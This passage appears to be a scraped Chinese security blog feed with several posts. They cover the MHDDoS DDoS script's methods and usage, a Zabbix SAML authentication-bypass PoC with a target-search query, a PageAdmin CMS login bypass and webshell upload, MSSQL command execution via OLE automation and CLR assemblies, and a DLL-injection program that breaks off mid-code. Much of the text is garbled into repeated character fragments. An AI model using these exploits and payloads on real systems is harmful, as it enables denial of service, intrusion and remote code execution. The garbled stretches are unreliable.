✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ❌ ❌ 使用代理到第7层的方法代理类型 COOKIE BYPASS OVH DGB STRESS DOWNLOADER BOMB NULL AVB GET HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ❌ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 CFB POST EVEN DYN GSB XMLRPC SLOW BOT PPS CFBUAM APACHE HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 KILLER RHEX STOMP HTTP ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ 测试截图 └─# python3 start.py * MHDDoS - DDoS Attack Script With 52 Methods Note: If the Proxy list is empty, the attack will run without proxies If the Proxy file doesn't exist, the script will download proxies and check them. Proxy Type 0 = All in config.json SocksTypes: - 6 = RANDOM - 5 = SOCKS5 - 4 = SOCKS4 - 1 = HTTP - 0 = ALL > Methods: - Layer4 | MINECRAFT, VSE, MCPE, DNS, TCP, CHAR, RDP, MEM, NTP, CONNECTION, CLDAP, CPS, SYN, TS3, MCBOT, FIVEM, ARD, UDP | 18 Methods - Layer7 | GSB, GET, KILLER, APACHE, DGB, NULL, STRESS, COOKIE, XMLRPC, BOT, TOR, HEAD, POST, BYPASS, BOMB, DYN, CFBUAM, OVH, EVEN, SLOW, PPS, DOWNLOADER, AVB, CFB | 24 Methods - Tools | CFIP, DSTAT, PING, INFO, CHECK, DNS, TSSRV | 7 Methods - Others | TOOLS, HELP, STOP | 3 Methods - All 52 Methods Example: L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional> L4: python3 start.py <method> <ip:port> <threads> <duration> L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist> L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)> 项目地址 GitHub: https://github.com/MatrixTM/MHDDoS 注意意事事项注意事意事项注意事项仅可可作作为为研研究究具具备备授授权权的的测测试试使使用仅可作可作为作为研为研究研究具究具备具备授备授权授权的权的测的测试测试使试使用仅可作为可作为研作为研究为研究具研究具备究具备授具备授权备授权的授权的测权的测试的测试使测试使用未经经所所有有者者同同意未经所经所有所有者有者同者同意未经所有经所有者所有者同有者同意请勿勿用用于于攻攻击请勿用勿用于用于攻于攻击请勿用于勿用于攻用于攻击特点点和和方方法特点和点和方和方法特点和方点和方法洪水绕过随机机十十六六进进制随机十机十六十六进六进制随机十六机十六进十六进制发送送高高字字节节的发送高送高字高字节字节的发送高字送高字节高字节的数据据包数据包一种种带带有有随机子子域域的的新新方一种带种带有带有随有随机随机子机子域子域的域的新的新方新方法一种带有种带有随带有随机有随机子随机子域机子域的子域的新域的新方的新方法种慢慢读读数据的一种慢种慢读慢读数读数据数据的据的新一种慢读种慢读数慢读数据读数据的数据的新据的新方旧的空用用户户代代理理和空用户用户代户代理代理和空用户代用户代理户代理和只有有更更多多标标头头的带有更有更多更多标多标头标头的带有更多有更多标更多标头多标头的谷歌歌项项目目屏屏蔽蔽绕谷歌项歌项目项目屏目屏蔽屏蔽绕蔽绕过谷歌项目歌项目屏项目屏蔽目屏蔽绕屏蔽绕过防护护绕防护绕护绕过防护绕过云绕云绕过像谷歌机机器器人像谷歌谷歌机歌机器机器人像谷歌机谷歌机器歌机器人阿帕帕奇阿帕奇奇漏漏洞帕奇漏奇漏洞阿帕奇漏帕奇漏洞添加击模模式式下下的攻击模击模式模式下式下的攻击模式击模式下模式下的过正正常常的绕过正过正常正常的绕过正常过正常的运行行多多个个线线程程来来杀杀死死一一个个目目标运行多行多个多个线个线程线程来程来杀来杀死杀死一死一个一个目个目标运行多个行多个线多个线程个线程来线程来杀程来杀死来杀死一杀死一个死一个目一个目标过洋洋葱葱网网站绕过洋过洋葱洋葱网葱网站绕过洋葱过洋葱网洋葱网站技术术支支持技术支术支持技术支持水绕洪水绕水绕过洪水绕过用代理打打开开和和关关闭闭连连接使用代用代理代理打理打开打开和开和关和关闭关闭连闭连接使用代理用代理打代理打开理打开和打开和关开和关闭和关闭连关闭连接回显显请请求求洪回显请显请求请求洪求洪水回显请求显请求洪请求洪水开连打开连开连接理打开连打开连接协议状态放大我的的世世界界机人攻我的世的世界世界机界机器器人攻人攻击我的世界的世界机世界机器界机器人机器人攻器人攻击电荷荷放电荷放荷放大电荷放大扩增远程程桌桌面面放大攻远程桌程桌面桌面放面放大放大攻大攻击远程桌面程桌面放桌面放大面放大攻放大攻击面协议放桌面协面协议协议放议放大程桌面协桌面协议面协议放协议放大议放大攻工具查找找由查找由提供供支持的的网站的的真真实提供支供支持支持的持的网的网站网站的站的真的真实提供支持供支持的支持的网持的网站的网站的网站的真站的真实地址显示示站站点点的显示站示站点站点的显示站点示站点的记录解析析器解析器服务务器服务器检查查网站状检查网查网站网站状站状态检查网站查网站状网站状态示接接收收的的字节数显示接示接收接收的收的字的字节字节数显示接收示接收的接收的字收的字节的字节数送的数及及其其数数量发送的送的字节数及数及其及其数其数量发送的字送的字节字节数及节数及其数及其数及其数量其他停止止所有攻停止所止所有所有攻有攻击停止所有止所有攻所有攻击控制制台台工控制台制台工台工具控制台工制台工具示使

2022年10月25日4年前

国内外，看你怎么选择。国内内外国内外看你你怎怎么么选选择看你怎你怎么怎么选么选择看你怎么你怎么选怎么选择

2022年10月18日4年前
10篇回复
- 1

一、简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数，保证服务器系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix server可以通过SNMP，zabbix agent，ping，端口监视等方法提供对远程服务器/网络状态的监视，数据收集等功能，它可以运行在Linux，Solaris，HP-UX，AIX，Free BSD，Open BSD，OS X等平台上。该漏洞源于在启用 saml SSO 身份验证（非默认）的情况下，未身份验证的攻击者可以修改会话数据，成功绕过前台进入后台，因为存储在会话中的用户登录未经过验证。漏洞的限制条件：需要启用 SAML 身份验证，并且攻击者必须知道 Zabbix 用户的用户名。二、FOFA语法 app=“ZABBIX-监控系统” && body=“SAML” 三、复现流程 1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值 2、通过Url解码和Base64解码获得zbx_session参数Json格式数据 {"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload {"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 4、把构造好的payload进行base64编码和url编码 %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d 5、请求index_sso.php，在http请求头中构造payload，将zbx_session的值替换为url编码后的payload 6、成功登录后台可利用poc直接获取构造后的payload poc： import requests import re import urllib.parse import base64 import json import sys def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie") zbx_session = re.findall(r"zbx_session=(.*?); ", cookie) url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data) decode_to_str = str(base64_decode_data, encoding='utf-8') to_json = json.loads(decode_to_str) tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"]) payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson) payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload) if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2] exp(target, username) 简介是一一个个基基于是一个一个基个基于是一个基一个基于界面面的的提提供供分分布布式式系系统统监监视视以以及及网网络络监视功功能能的的企企业业级级的的开开源源解解决决方方案界面的面的提的提供提供分供分布分布式布式系式系统系统监统监视监视以视以及以及网及网络网络监络监视监视功视功能功能的能的企的企业企业级业级的级的开的开源开源解源解决解决方决方案界面的提面的提供的提供分提供分布供分布式分布式系布式系统式系统监系统监视统监视以监视以及视以及网以及网络及网络监网络监视络监视功监视功能视功能的功能的企能的企业的企业级企业级的业级的开级的开源的开源解开源解决源解决方解决方案能监视各各种种网络参参数能监视监视各视各种各种网种网络网络参络参数能监视各监视各种视各种网各种网络种网络参网络参数保证证服服务务器器系统的的安安全全运运营保证服证服务服务器务器系器系统系统的统的安的安全安全运全运营保证服务证服务器服务器系务器系统器系统的系统的安统的安全的安全运安全运营并提供灵灵活活的的通通知知机机制制以以让让系统管管理理员员快快速速定定位并提供提供灵供灵活灵活的活的通的通知通知机知机制机制以制以让以让系让系统系统管统管理管理员理员快员快速快速定速定位并提供灵提供灵活供灵活的灵活的通活的通知的通知机通知机制知机制以机制以让制以让系以让系统让系统管系统管理统管理员管理员快理员快速员快速定快速定位决存存在在的的各种问问题解决存决存在存在的在的各的各种各种问种问题解决存在决存在的存在的各在的各种的各种问各种问题可以以通通过可以通以通过可以通过端口口监视等等方方法法提供对对远远程程服端口监口监视监视等视等方等方法方法提法提供提供对供对远对远程远程服程服务端口监视口监视等监视等方视等方法等方法提方法提供法提供对提供对远供对远程对远程服远程服务程服务器络状状态态的的监网络状络状态状态的态的监的监视网络状态络状态的状态的监态的监视数据据收收集集等等功数据收据收集收集等集等功等功能数据收集据收集等收集等功集等功能它可以运运行行在它可以可以运以运行运行在它可以运可以运行以运行在等平平台台上等平台平台上等平台上该漏漏洞洞源源于于在在启启用该漏洞漏洞源洞源于源于在于在启在启用该漏洞源漏洞源于洞源于在源于在启于在启用身份份验验证身份验份验证身份验证非默默认非默认的情情况况下的情况情况下的情况下未身证的的攻攻击击者者可以修修改改会会话话数未身份验证的证的攻的攻击攻击者击者可者可以可以修以修改修改会改会话会话数话数据未身份验份验证的验证的攻证的攻击的攻击者攻击者可击者可以者可以修可以修改以修改会修改会话改会话数会话数据成功功绕绕过过前前台台进进入入后后台成功绕功绕过绕过前过前台前台进台进入进入后入后台成功绕过功绕过前绕过前台过前台进前台进入台进入后进入后台因为为存存储储在在会话中中的的用用户户登登录录未未经经过过验因为存为存储存储在储在会在会话会话中话中的中的用的用户用户登户登录登录未录未经未经过经过验过验证因为存储为存储在存储在会储在会话在会话中会话中的话中的用中的用户的用户登用户登录户登录未登录未经录未经过未经过验经过验证洞的的限限制制条条件漏洞的洞的限的限制限制条制条件漏洞的限洞的限制的限制条限制条件需要要启需要启要启用需要启用并且且攻者必必须须知知道并且攻且攻击击者必者必须必须知须知道并且攻击且攻击者攻击者必击者必须者必须知必须知道户的户名用户的户的用用户名用户的用户的用户的用户名语法监控控系监控系控系统监控系统复现现流流程复现流现流程复现流程法搜

2022年10月18日4年前

0x00前言这是上周hw中遇到的一个cms，记录一下，防止以后遇到忘记利用点（手动狗头） 0x01介绍 PageAdmin Cms是一款基于asp.net mvc开发的自助建站系统，于2008年发布，从最开始的2.0版本到目前的4.0版本，强大的后台管理功能，良好的用户操作体验，开发式的功能扩展，让各种类型网站制作更加便捷和灵活。 0x02开搞！！! 网页内容太多，全码了往下滑，一般会底部写着PageAdmin cms 直接+一手master看是不是常规后台很显然不是，御剑大法好，开梭进后台页面测试弱口令，默认用户为admin 简单测试了几个弱口令，一般是不存在了，直接利用百度出来的exp冲一波（乌云大表哥的）。 exp：Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1 在后台登陆页面的控制栏中加入document.cookie=”exp”，回车后访问index.aspx 进入之后找利用点getshell咯，看网上表哥的文章说是阉割版，主流的增加专题getshell我直接排除了，利用表哥新思路。自定义表单->增加新表单(输入表单名称) 之后点击字段管理、增加字段，输入字段标题、字段名称、表单数据（文件file）、允许扩展名输入.asxh，然后点击增加这里可以直接上传.ashx文件，上传aspx会直接删掉。绝绝子，干了一天活，文章没写完，人家把后台给给改名了，也没扫出来！！！！！！！！！总的来说上传.ashx文件，然后检测如果带有page字样会上传不成功，这里选择不带有page字样的马。这里我用的是一个cmd马（马被删了，绝绝子，没有截图了），就到这了。前言这是是上上周这是上是上周这是上周中遇遇到到的的一一个中遇到遇到的到的一的一个中遇到的遇到的一到的一个记录录一一下记录一录一下记录一下防止止以以后后遇到忘忘记记利利用用点防止以止以后以后遇后遇到遇到忘到忘记忘记利记利用利用点防止以后止以后遇以后遇到后遇到忘遇到忘记到忘记利忘记利用记利用点手动动狗狗头手动狗动狗头手动狗头介绍是一一款款基基于是一款一款基款基于是一款基一款基于开发发的的自自助助建建站站系系统开发的发的自的自助自助建助建站建站系站系统开发的自发的自助的自助建自助建站助建站系建站系统年发发布年发布从最最开开始始的从最开最开始开始的从最开始最开始的版本本到到目目前前的版本到本到目到目前目前的版本到目本到目前到目前的强大大的的后后台台管管理理功功能强大的大的后的后台后台管台管理管理功理功能强大的后大的后台的后台管后台管理台管理功管理功能良好好的的用用户户操操作作体体验良好的好的用的用户用户操户操作操作体作体验良好的用好的用户的用户操用户操作户操作体操作体验发式式的的功能扩扩展开发式发式的式的功的功能功能扩能扩展开发式的发式的功式的功能的功能扩功能扩展让各各种种类类型型网网站站制制作作更更加加便便捷捷和和灵灵活让各种各种类种类型类型网型网站网站制站制作制作更作更加更加便加便捷便捷和捷和灵和灵活让各种类各种类型种类型网类型网站型网站制网站制作站制作更制作更加作更加便更加便捷加便捷和便捷和灵捷和灵活开搞网页页内内容容太太多网页内页内容内容太容太多网页内容页内容太内容太多全码码了全码了往下下滑往下滑一般般会会底底部部写写着一般会般会底会底部底部写部写着一般会底般会底部会底部写底部写着直接一手看是是不不是是常常规规后看是不是不是不是常是常规常规后规后台看是不是是不是常不是常规是常规后常规后台很显显然然不很显然显然不然不是很显然不显然不是御剑剑大大法法好御剑大剑大法大法好御剑大法剑大法好开梭进后台页页面面测测试试弱弱口口令进后台后台页台页面页面测面测试测试弱试弱口弱口令进后台页后台页面台页面测页面测试面测试弱测试弱口试弱口令默认认用户为默认用认用户用户为默认用户认用户为简单单测试了了几几个个弱简单测单测试测试了试了几了几个几个弱个弱口简单测试单测试了测试了几试了几个了几个弱几个弱口个弱口令般是不存存在在了一般是般是不是不存不存在存在了一般是不般是不存是不存在不存在了接利用百百度度出出来来的直接利接利用利用百用百度百度出度出来出来的直接利用接利用百利用百度用百度出百度出来度出来的冲一一波冲一波乌云云大大表表哥哥的乌云大云大表大表哥表哥的乌云大表云大表哥大表哥的在后台登登陆陆页面的的控控制制栏栏中中加加入在后台后台登台登陆登陆页陆页面页面的面的控的控制控制栏制栏中栏中加中加入在后台登后台登陆台登陆页登陆页面陆页面的页面的控面的控制的控制栏控制栏中制栏中加栏中加入回车车后后访访问回车后车后访后访问回车后访车后访问进入入之之后后找找利进入之入之后之后找后找利找利用进入之后入之后找之后找利后找利用找利用点看网网上上表的文文章章说说是是阉阉割割版看网上网上表上表哥哥的文的文章文章说章说是说是阉是阉割阉割版看网上表网上表哥上表哥的表哥的文哥的文章的文章说文章说是章说是阉说是阉割是阉割版主流流的的增增加加专专题主流的流的增的增加增加专加专题主流的增流的增加的增加专增加专题我直接排排除除了我直接直接排接排除排除了我直接排直接排除接排除了用表哥新新思思路利用表

2022年10月18日4年前
1篇回复

一直想爬微信公众号然后整成一个bot。试过好几次最终都以失败告终。昨天折腾了一晚上，利用搜狗的微信爬取弄好了爬取的方法网上能搜到的爬取方法：微信公众号平台接口抓取|限制:微信KEY有限制，30-40分钟内就会过期。请求次数超过10-20次被封搜狗公众号爬取 | 缺陷：只能获取公众号最新更新的一条文章爬取实现这里是用第二种方法，方法如下搜狗微信公众号搜索对应公众号:https://weixin.sogou.com/weixin?type=1&query=bibacps&ie=utf8 获取文章链接然后请求这个链接得到wx文章的链接经过测试，发现并无cookie等效验。访问https://weixin.sogou.com/<sougou_wx_lnk>就可以获取wx文章url。但是，请求次数太多就会出现验证码，只有cookie对了才不会有验证码 google后得到解决方法：随机UA头每次请求之前先获取搜狗子域名cookie 参考链接:https://blog.csdn.net/weixin_43881394/article/details/107768458 获取子域名cookie import requests def getcookie(): #从搜狗视频获取cookie，防止傻逼搜狗机制检测 url = 'https://v.sogou.com/v?ie=utf8&query=&p=40030600' headers = {'User-Agent': UserAgent().random} rst = requests.get(url=url,headers=headers,allow_redirects=False) cookies = rst.cookies.get_dict() return cookies 爬取到wx文章链接后入库最终效果如下 Github:https://github.com/422926799/note/tree/master/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B7%A5%E5%85%B7/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E5%8F%96 爬虫小技巧爬取大型站点（例如:google.com）可能会遇到的问题： * 请求次数过多导致验证码 * Cookie判断是否多次请求解决发方法 * 随机IP代理 * 随机UA头 * SESSION请求 * 针对Cookie判断是否多次请求（这种大型站点cookie生成机制都是一致的，可以请求这种站点的子域名获取cookie。每次请求之前，先从子域名获取cookie然后在用这个cookie请求要爬取的站点） * 延时请求遇见CSRF TOKEN效验 * TOKEN效验 * COOKIE效验解决方法： * 这种CRSF TOKEN一般在当前页面存在TOKEN，先获取TOKEN在去请求指定某个地区的IP请求解决方法： * 使用对应地区的IP请求一直直想想爬爬微微信信公公众众号号然然后后整整成成一一个一直想直想爬想爬微爬微信微信公信公众公众号众号然号然后然后整后整成整成一成一个一直想爬直想爬微想爬微信爬微信公微信公众信公众号公众号然众号然后号然后整然后整成后整成一整成一个试过过好好几几次试过好过好几好几次试过好几过好几次最终终都都以以失失败败告告终最终都终都以都以失以失败失败告败告终最终都以终都以失都以失败以失败告失败告终昨天天折折腾腾了了一一晚晚上昨天折天折腾折腾了腾了一了一晚一晚上昨天折腾天折腾了折腾了一腾了一晚了一晚上利用用搜搜狗狗的的微信爬爬取取弄弄好好了利用搜用搜狗搜狗的狗的微的微信微信爬信爬取爬取弄取弄好弄好了利用搜狗用搜狗的搜狗的微狗的微信的微信爬微信爬取信爬取弄爬取弄好取弄好了取的的方方法爬取的取的方的方法爬取的方取的方法网上上能能搜搜到到的的爬取方网上能上能搜能搜到搜到的到的爬的爬取爬取方取方法网上能搜上能搜到能搜到的搜到的爬到的爬取的爬取方爬取方法号平平台台接接口口抓抓取众号平号平台平台接台接口接口抓口抓取公众号平众号平台号平台接平台接口台接口抓接口抓取限制有限有限制分钟钟内内就就会会过过期分钟内钟内就内就会就会过会过期分钟内就钟内就会内就会过就会过期请求求次次数数超超过请求次求次数次数超数超过请求次数求次数超次数超过次被被封次被封狗公号爬搜狗公狗公众众号爬号爬取搜狗公众狗公众号公众号爬众号爬取缺陷只能能获获取取公号最最新新更更新新的的一一条条文文章只能获能获取获取公取公众众号最号最新最新更新更新更新的新的一的一条一条文条文章只能获取能获取公获取公众取公众号公众号最众号最新号最新更最新更新新更新的更新的一新的一条的一条文一条文章取实实现爬取实取实现爬取实现这里里是是用用第第二二种种方这里是里是用是用第用第二第二种二种方种方法这里是用里是用第是用第二用第二种第二种方二种方法法如如下方法如法如下方法如下狗微号搜搜索索对对应应公搜狗微狗微信众号搜号搜索搜索对索对应对应公应公众搜狗微信狗微信公公众号搜众号搜索号搜索对搜索对应索对应公对应公众应公众号取文章链链接获取文取文章文章链章链接获取文章取文章链文章链接后请求这这个个链接得得到然后请后请求请求这求这个这个链个链接链接得接得到然后请求后请求这请求这个求这个链这个链接个链接得链接得到章的的链文章的章的链的链接文章的链章的链接经过过测测试经过测过测试经过测试发现现并并无发现并现并无发现并无等效效验等效验访问就可可以以获就可以可以获以获取就可以获可以获取但是数太太多多就会出出现现验验证证码次数太数太多太多就多就会就会出会出现出现验现验证验证码求次数太次数太多数太多就太多就会多就会出就会出现会出现验出现验证现验证码只有对了了才才不不会会有有验对了才了才不才不会不会有会有验有验证对了才不了才不会才不会有不会有验会有验证有验证码后得到解解决决方后得到得到解到解决解决方决方法后得到解得到解决到解决方解决方法随机每次次请求之之前前先先获取搜狗子子域域名每次请次请求请求之求之前之前先前先获先获取获取搜取搜狗搜狗子狗子域子域名每次请求次请求之请求之前求之前先之前先获前先获取先获取搜获取搜狗取搜狗子搜狗子域狗子域名参考考链参考链考链接参考链接取子获取子取子域获取子域取子域名从搜狗视视频频获从搜狗搜狗视狗视频视频获频获取从搜狗视搜狗视频狗视频获视频获取防止止傻傻逼逼搜狗机机制制检检测防止傻止傻逼傻逼搜逼搜狗搜狗机狗机制机制检制检测防止傻逼止傻逼搜傻逼搜狗逼搜狗机搜狗机制狗机制检机制检测取到爬取到

2022年10月18日4年前

利用COM执行命令（需要开启Ole Automation Procedures组件） declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures，可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令编写语言：C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后，可以用hex的方法写到目标，或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数（根据对应函数的类型的参数构造对应的参数类型，然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话），在直接这个dll的名称在那个命名空间、类、函数） CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间，exec为类名，cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 参考链接： https://blog.csdn.net/catchme_439/article/details/78411009 https://zhuanlan.zhihu.com/p/33322584?from_voters_page=true 利用执行行命命令执行命行命令执行命令需要要开开启需要开要开启需要开启组件没有有开没有开有开启没有开启可以以用用下下面面的的命令开可以用以用下用下面下面的面的命的命令命令开令开启可以用下以用下面用下面的下面的命面的命令的命令开命令开启编写实现现执实现执现执行实现执行现执行命写语语言编写语写语言编写语言创建建类类库创建类建类库创建类库标准准错错误标准错准错误标准错误准输输入标准输准输入标准输入输出准输出标准输出是否否在在新新窗窗口口开启进进程是否在否在新在新窗新窗口窗口开口开启开启进启进程是否在新否在新窗在新窗口新窗口开窗口开启口开启进开启进程令参参数数写写入命令参令参数参数写数写入命令参数令参数写参数写入缓冲冲区区自自动动刷刷新缓冲区冲区自区自动自动刷动刷新缓冲区自冲区自动区自动刷自动刷新读取取执行结结果读取执取执行执行结行结果读取执行取执行结执行结果等待待执行完完成成退退出等待执待执行执行完行完成完成退成退出等待执行待执行完执行完成行完成退完成退出生成的方方法法写写到到目目标的方法方法写法写到写到目到目标的方法写方法写到法写到目写到目标或者上传然后后开开始始构构造然后开后开始开始构始构造然后开始后开始构开始构造标数数据据库库实实例例需要启启用目标数标数据数据库据库实库实例实例需例需要需要启要启用目标数据标数据库数据库实据库实例库实例需实例需要例需要启需要启用集成中启中启用库的的可可信信任任属属性性需要设设为据库的库的可的可信可信任信任属任属性属性需性需要需要设要设为数据库的据库的可库的可信的可信任可信任属信任属性任属性需属性需要性需要设需要设为以使使用用以以下下语语句句启可以使以使用使用以用以下以下语下语句语句启句启用可以使用以使用以使用以下用以下语以下语句下语句启语句启用库名名称据库名库名称数据库名据库名称在数库中中注注册在数据据库中库中注中注册在数据库数据库中据库中注库中注册的路路径的路径为导导入为导入后的的变变量量名后的变的变量变量名量名称后的变量的变量名变量名称建函函数创建函建函数创建函数根据据对对应应函数的的类类型型的的参数构造对应的数类根据对据对应对应函应函数函数的数的类的类型类型的型的参的参数参数构数构造构造对造对应对应的应的参参数类数类型根据对应据对应函对应函数应函数的函数的类数的类型的类型的类型的参型的参数的参数构参数构造数构造对构造对应造对应的对应的参应的参数的参数类参数类型记得得设设置置为为返返回回最最大大如如果果是是返记得设得设置设置为置为返为返回返回最回最大最大如大如果如果是果是返是返回记得设置得设置为设置为返置为返回为返回最返回最大回最大如最大如果大如果是如果是返果是返回的话型的话类型的话在直直接接这这个在直接直接这接这个在直接这直接这个的名称在在那那个个命命名名空空间的名称名称在称在那在那个那个命个命名命名空名空间的名称在名称在那称在那个在那个命那个命名个命名空命名空间为命为命名为命名空为类类名为类名为函数名为函数函数名为函数名程序序集集的的权权限限级级别别必必须须设程序集序集的集的权的权限权限级限级别级别必别必须必须设须设为程序集的序集的权集的权限的权限级权限级别限级别必级别必须别必须设必须设为否则则在在部部署署的的时时候候会会报报错否则在则在部在部署部署的署的时的时候时候会候会报会报错否则在部则在部署在部署的部署的时署的时候的时候会时候会报候会报错调用用存存储储过过程程和和函数方调用存用存储存储过储过程过程和程和函和函数

2022年10月18日4年前

CreateRemoteThread远程线程调用原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 等待远程线程结束(卸载DLL) #include "stdafx.h" #include <Windows.h> int main(int argc,char *argv[]) { DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL bInheritHandle=0; DWORD dwProcessId; PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径 int dlllen = lstrlen(dllPath); int dllbytes = dlllen * 2; //计算dll路径长度 if (argc == 2) { dwProcessId = atoi(argv[1]); } else { printf("Example:test.exe <process_id>\n"); exit(1); } HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄 if (process==0){ printf("[-] OpenProcess failure,Error code:%d\n",GetLastError()); exit(1); } else { printf("[*] OpenProcess Sucess\n"); } LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间 if (vallex == 0) { printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError()); exit(1); } else { printf("[*] VirtualAllocEx Sucess\n"); } if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入 printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] WriteProcessMemory Sucess\n"); } FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址 if (moduleaddress == 0) { printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] GetProcAddress Sucess\n"); } HANDLE createthread_ = 